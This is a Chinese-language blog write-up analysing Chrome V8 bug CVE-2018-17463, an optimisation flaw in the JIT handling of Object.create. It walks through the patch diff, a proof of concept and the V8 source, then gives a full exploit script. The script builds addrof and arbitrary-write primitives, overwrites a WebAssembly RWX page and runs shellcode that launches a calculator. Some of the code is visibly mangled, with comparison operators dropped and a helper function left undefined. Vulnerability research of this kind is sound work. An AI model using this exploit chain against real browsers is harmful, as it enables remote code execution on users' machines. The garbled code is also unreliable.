行业新闻

Chrome-V8-CVE-2018-17463

Chrome-V8-CVE-2018-17463

这是在A guided tour through Chrome's javascript compiler上的几个cve之一,为了学习v8的相关研究,将这三者一个一个攻破,下面是对应的commit。

环境搭建

v8 action(星阑科技的开源项目,“星阑科技”公众号上有对应文章说明)

image-20210706201427396

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..

漏洞分析

看下diff

diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 94b018c..5ed3f74 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -622,7 +622,7 @@
   V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)                \
   V(CreatePromise, Operator::kEliminatable, 0, 1)                      \
   V(CreateTypedArray, Operator::kNoProperties, 5, 1)                   \
-  V(CreateObject, Operator::kNoWrite, 1, 1)                            \
+  V(CreateObject, Operator::kNoProperties, 1, 1)                       \
   V(ObjectIsArray, Operator::kNoProperties, 1, 1)                      \
   V(HasProperty, Operator::kNoProperties, 2, 1)                        \
   V(HasInPrototypeChain, Operator::kNoProperties, 2, 1)                \

显然是kNoWrite引起的错误,我们看看这是什么意思,以下[来自]

image

意思就是在CreateObject操作中无视side-effect,经Object.create(0)后,o的map从fast mode变为dictionary mode,对于map的类型,dictionary mode类似于hash表存储,结构较复杂,fast mode是简单的结构体模式。

这改动会使得原本分开保存的各个属性在Object.create()后会被整理到一个大的hash表结构里。但是由于漏洞点,d8没有意识到存储方式的变化,也就是map模式的改变,猜测如果有side-effect的话是会反过来影响到原来的对象的,但是显然无视这个边后,造成了还是按原来的模式存取的情况,也就导致了按原偏移存取,最终泄露内存。

poc

function bad_create(x){
    x.a;
    Object.create(x);
    return x.b;
}

for (let i = 0;i  10000; i++){
    let x = {a : 0x1234};
    x.b = 0x5678; 
    let res = bad_create(x);
    if( res != 0x5678){
        console.log(i);
        console.log("CVE-2018-17463 exists in the d8");
        break;
    }
}

image-20210706213725786

源码分析

经turbolizer观察发现在generic lowering阶段会由JSCreateObject变为Call,所以定位源码在对应阶段。

image-20210706215943347

image-20210706220143011

简单提一句turbolizer使用方法,首先在运行poc时加上--trace-turbo然后运行完会在当目录下生成一些文件,

打开https://v8.github.io/tools/v7.1/turbolizer/index.html根据版本号的不同修改url中的vx.x

image-20210706221351781

点击右上角的3,会提示你选择文件,就选择生成的json文件,可能不止一个,选一个打开就能看到这个页面,按1是重新给结点排序,按2是把所有结点显示出来,选择优化阶段的部分我就不说了,看前面对比的两图画的红框就知道。

//src/compiler/js-generic-lowering.cc:404
void JSGenericLowering::LowerJSCreateObject(Node* node) {
  CallDescriptor::Flags flags = FrameStateFlagForCall(node);
  Callable callable = Builtins::CallableFor(  //======这里
      isolate(), Builtins::kCreateObjectWithoutProperties);
  ReplaceWithStubCall(node, callable, flags);
}

这里把JSCreateObjectBuiltins::kCreateObjectWithoutProperties代替,转过去。

//src/builtins/builtins-object-gen.cc:1101
TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
  Node* const prototype = Parameter(Descriptor::kPrototypeArg);
  Node* const context = Parameter(Descriptor::kContext);
  Node* const native_context = LoadNativeContext(context);
  Label call_runtime(this, Label::kDeferred), prototype_null(this),
      prototype_jsreceiver(this);
[ ... ]
  BIND(
  {
    Comment("Call Runtime (prototype is not null/jsreceiver)");
    Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype, //这里
                               UndefinedConstant());
    Return(result);
  }
}
=============================================================================
//src/runtime/runtime-object.cc:316
RUNTIME_FUNCTION(Runtime_ObjectCreate) {
  HandleScope scope(isolate);
  HandleObject> prototype = args.at(0);
  HandleObject> properties = args.at(1);
  HandleJSObject> obj;
[ ... ]
  // 2. Let obj be ObjectCreate(O).
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, obj, JSObject::ObjectCreate(isolate, prototype));//这里
[ ... ]

不同的prototype属性对应不同的操作,我们直接看ObjectCreate

//src/objects.cc:1360
MaybeHandleJSObject> JSObject::ObjectCreate(Isolate* isolate,
                                             HandleObject> prototype) {
  // Generate the map with the specified {prototype} based on the Object
  // function's initial map from the current native context.
  // TODO(bmeurer): Use a dedicated cache for Object.create; think about
  // slack tracking for Object.create.
  HandleMap> map =
      Map::GetObjectCreateMap(isolate, HandleHeapObject>::cast(prototype));

  // Actually allocate the object.
  HandleJSObject> object;
  if (map->is_dictionary_map()) {
    object = isolate->factory()->NewSlowJSObjectFromMap(map);
  } else {
    object = isolate->factory()->NewJSObjectFromMap(map);
  }
  return object;
}

得到原来的map,然后根据这一map类型来调用不同函数生成新的obj,看下怎么得到的map。

//src/objects.cc:5450
HandleMap> Map::GetObjectCreateMap(Isolate* isolate,
                                    HandleHeapObject> prototype) {
[ ... ]
  if (prototype->IsJSObject()) {
    HandleJSObject> js_prototype = HandleJSObject>::cast(prototype);
    if (!js_prototype->map()->is_prototype_map()) {
      JSObject::OptimizeAsPrototype(js_prototype);//===================这里
    }
[ ... ]
=====================================================================
//src/objects.cc:12518
void JSObject::OptimizeAsPrototype(HandleJSObject> object,
                                   bool enable_setup_mode) {
  if (object->IsJSGlobalObject()) return;
  if (enable_setup_mode 
  }
[ ... ]
======================================================================
//src/objects.cc:6436
void JSObject::NormalizeProperties(HandleJSObject> object,
                                   PropertyNormalizationMode mode,
                                   int expected_additional_properties,
                                   const char* reason) {
  if (!object->HasFastProperties()) return;
  HandleMap> map(object->map(), object->GetIsolate());
  HandleMap> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);//先看这里

  MigrateToMap(object, new_map, expected_additional_properties);
}

用原有的mapNormalize中生成新的map,剩下的调用链。

Map::Normalize->
     Map::CopyNormalized->
     	RawCopy->
     		Map::SetPrototype->
     			JSObject::OptimizeAsPrototype(没错,又调用了一次这个)

Map::CopyNormalized

HandleMap> Map::CopyNormalized(Isolate* isolate, HandleMap> map,
                                PropertyNormalizationMode mode) {
  int new_instance_size = map->instance_size();
  if (mode == CLEAR_INOBJECT_PROPERTIES) {
    new_instance_size -= map->GetInObjectProperties() * kPointerSize;
  }

  HandleMap> result = RawCopy(
      isolate, map, new_instance_size,
      mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
  // Clear the unused_property_fields explicitly as this field should not
  // be accessed for normalized maps.
  result->SetInObjectUnusedPropertyFields(0);
  result->set_is_dictionary_map(true);  //=================这里
  result->set_is_migration_target(false);
  result->set_may_have_interesting_symbols(true);
  result->set_construction_counter(kNoSlackTracking);
[ ... ]

显然生成的map是dictionary的。

利用方法

我们首先要看泄露哪里的内存。

let a = {x1 : 1, y1 : 2, z1 : 3};
a.x2 = 4;
a.y2 = 5;
a.z2 = 6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();

image-20210706232256301

第一次break看到数据这么存储的,对于那三个本就存在的数据,存在结构体内部,对于后来动态增加的,结构体内有一指针指向,当然结构体内部存数据的个数是有限制的,超过这一限制的也会存到properties里。

image-20210706233009075

第二次break看起来乱乱的,但是可以知道的是,没有存在结构体内部的数据了,这么说可能不太合适,知道意思就行,不理解的可以去看些讲v8对象布局的。

显然对于这个洞来说,如果通过这里达到内存泄漏,泄露的就是原来应该存在结构体内相应偏移的数据,比如本来a.x1是对应properties+0x10的位置,但是经Object.create(a)后真实位置是跑到properties里了,原来的偏移不再是a.x1

经调试发现,此时返回的x.b的值也不是properties+0x10而是*properties+0x10,properties指向的位置的0x10偏移处才是,也就是说偏移不变但是base变了,单这么说会觉得比较鸡肋,因为这样我们似乎改不了长度,但是别忘了此时存储数据的结构是一个哈希表,不是刚开始赋值的顺序,并且这个hash表的排布还会一直变化。也就是说,数据长度够长,理论上是会有原来的偏移对应着新的数据的。

比如x.ax.b,本来布局是a的偏移为0x10,b为0x20,经过以上变换为hash存储后,0x10偏移处存储的变为了b,0x20偏移处变为a,当然这是理想情况,实际运用时我们可以通过将所有数据对应偏移处的数据打印出来,然后看有没有以上所说的这种数据对,如果找到了,那么显然可以使两位置存储不同类型元素,一个存对象一个存浮点数,这样addrOf就构造出来了。

那么同样的,只要对应键值为ArrayBufferbacking_store,那么我们也能直接改了,这样任意读写也有了,当然我们还需要对抗CheckMap,因为当我们map类型变了之后,map就会发生变化,这样CheckMap就会检测出来,所以回到头来还是要去掉Checkmap

对于优化的洞,目前接触到的多是把CheckMap给消去,或者是构造出一个实际上可以越界的长度,而v8认为没越界的数(有关range范围的bug),这种一般就是把CheckBound给优化掉,对于这个显然是前者

我们利用kNoWrite来去掉Checkmap

// The given checkpoint is redundant if it is effect-wise dominated by another
// checkpoint and there is no observable write in between. For now we consider
// a linear effect chain only instead of true effect-wise dominance.
bool IsRedundantCheckpoint(Node* node) {
  Node* effect = NodeProperties::GetEffectInput(node);
  while (effect->op()->HasProperty(Operator::kNoWrite)   //消除
    effect = NodeProperties::GetEffectInput(effect);
  }
  return false;
}

从源码我们可以看到,两个检查节点中间的操作是kNoWrite时,第二个检查节点可以消去。

8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); } return lines.join('\n'); } // Simplified version of the similarly named python module. var Struct = (function() { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; // See below byteView.set(bytes); return view[0]; }, // Available types. int8: byteView, int32: uint32View, float64: float64View }; })(); // // Tiny module that provides big (64bit) integers. // // Copyright (c) 2016 Samuel Groß // // Requires utils.js // // Datatype to represent 64-bit integers. // // Internally, the integer is stored as a Uint8Array in little endian byte order. function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } // Return a double whith the same underlying bit representation. this.asDouble = function() { // Check for NaN if (bytes[7] == 0xff return Struct.unpack(Struct.float64, bytes); }; // Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function() { if ((bytes[7] == 0 // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; // Return the underlying bytes of this number as array. this.bytes = function() { return Array.from(bytes); }; // Return the byte at the given index. this.byteAt = function(i) { return bytes[i]; }; // Return the value of this number as unsigned hex string. this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); }; // Basic arithmetic. // These functions assign the result of the computation to their 'this' object. // Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } // this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); // this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); // this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur 0 | 0; bytes[i] = cur; } return this; }, 2); } // Constructs a new Int64 instance with the same bit representation as the provided double. Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; // Convenience functions. These allocate a new Int64 to hold the result. // Return -n (two's complement) function Neg(n) { return (new Int64()).assignNeg(n); } // Return a + b function Add(a, b) { return (new Int64()).assignAdd(a, b); } // Return a - b function Sub(a, b) { return (new Int64()).assignSub(a, b); } // Some commonly used numbers. Int64.Zero = new Int64(0); Int64.One = new Int64(1); function utf8ToString(h, p) { let s = ""; for (i = p; h[i]; i++) { s += String.fromCharCode(h[i]); } return s; } function log(x,y = ' '){ console.log("[+] log:", x,y); } let OPTIMIZATION_NUM = 10000; let OBJ_LEN = 0x20; let X; let Y; // use a obj to check whether CVE-2018-17463 exists function check_vul(){ function bad_create(x){ x.a; Object.create(x); return x.b; } for (let i = 0;i OPTIMIZATION_NUM; i++){ let x = {a : 0x1234}; x.b = 0x5678; let res = bad_create(x); //log(res); if( res != 0x5678){ log("CVE-2018-17463 exists in the d8"); return; } } throw "bad d8 version"; } // check collision between directory mode and fast mode function getOBJ(){ let res = {a:0x1234}; for (let i = 0; i OBJ_LEN;i++){ eval(`res.${'b'+i} = -${0x4869 + i}; `); } return res; } function printOBJ(x){ for(let i = 0;iOBJ_LEN;i++){ eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`); //console.log('['+i+']'+x[i]); } } function findCollision(){ let find_obj = []; for (let i = 0;iOBJ_LEN;i++){ find_obj[i] = 'b'+i; } eval(` function bad_create(x){ x.a; this.Object.create(x); ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')} return [${find_obj.join(', ')}]; } `); for (let i = 0; iOPTIMIZATION_NUM;i++){ let tmp = bad_create(getOBJ()); for (let j = 0 ;jtmp.length;j++){ if(tmp[j] != -(j+0x4869) -0x4868 return ['b'+j , 'b' + -(tmp[j]+0x4869)]; } } } throw "not found collision "; } // create primitive -> addrof function getOBJ4addr(obj){ let res = {a:0x1234}; for (let i = 0; i OBJ_LEN;i++){ if (('b'+i)!= X `); } if (('b'+i)== X){ eval(` res.${X} = {x1:1.1,x2:1.2}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res; } function addrof(obj){ eval(` function bad_create(o){ o.a; this.Object.create(o); return o.${X}.x1; } `); for (let i = 0;i OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4addr(obj)); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.1){ log(tmp); return ret; } } throw "not found addrof obj"; } // create primitive -> Arbitrary write function getOBJ4read(obj){ let res = {a:0x1234}; for (let i = 0; i OBJ_LEN;i++){ if (('b'+i)!= X `); } if (('b'+i)== X){ eval(` res.${X} = {x0:{x1:1.1,x2:1.2}}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res; } function arbitraryWrite(obj,addr){ eval(` function bad_create(o,value){ o.a; this.Object.create(o); let ret = o.${X}.x0.x2; o.${X}.x0.x2 = value; return ret; } `); for (let i = 0;i OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4read(obj),addr); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.2){ return ; } } throw "not found arbitraryWrite"; } // exploit function exploit(){ var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0 ]); var wasmImports = { env: { puts: function puts (index) { console.log(utf8ToString(h, index)); } } }; let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports); let h = new Uint8Array(m.exports.memory.buffer); let f = m.exports.GToadLuck; console.log("step 0: Game start"); f(); console.log("step 1: check whether vulnerability exists"); check_vul(); console.log("step 2: find collision"); [X,Y] = findCollision(); let mem = new ArrayBuffer(1024); give_me_a_clean_newspace(); console.log("step 3: get address of JSFunciton"); let addr = addrof(f); console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton"); arbitraryWrite(mem,addr); let dv = new DataView(mem); SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true)); console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr); console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo"); arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble()); WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true)); console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr); console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData"); arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble()); WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true)); console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr); console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject"); arbitraryWrite(mem,WasmInstanceObject_addr.asDouble()); imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true)); console.log("[+] imported_function_targets addr :"+imported_function_targets_addr); console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets"); arbitraryWrite(mem,imported_function_targets_addr.asDouble()); code_addr = Int64.fromDouble(dv.getFloat64(0,true)); console.log("[+] code addr :"+code_addr); log("step 9: make ArrayBuffer's backing_store -> rwx_area"); arbitraryWrite(mem,code_addr.asDouble()); console.log("step 10: write shellcode for poping up a calculator"); var shellcode = Array(20); shellcode[0] = 0x90909090; shellcode[1] = 0x90909090; shellcode[2] = 0x782fb848; shellcode[3] = 0x636c6163; //xcalc shellcode[4] = 0x48500000; shellcode[5] = 0x73752fb8; shellcode[6] = 0x69622f72; shellcode[7] = 0x8948506e; shellcode[8] = 0xc03148e7; shellcode[9] = 0x89485750; shellcode[10] = 0xd23148e6; shellcode[11] = 0x3ac0c748; shellcode[12] = 0x50000030; //我改为了0x50000031 shellcode[13] = 0x4944b848; shellcode[14] = 0x414c5053; shellcode[15] = 0x48503d59; shellcode[16] = 0x3148e289; shellcode[17] = 0x485250c0; shellcode[18] = 0xc748e289; shellcode[19] = 0x00003bc0; shellcode[20] = 0x050f00; var dataview = new DataView(mem); for (var i=0; ishellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } f(); } exploit();

关闭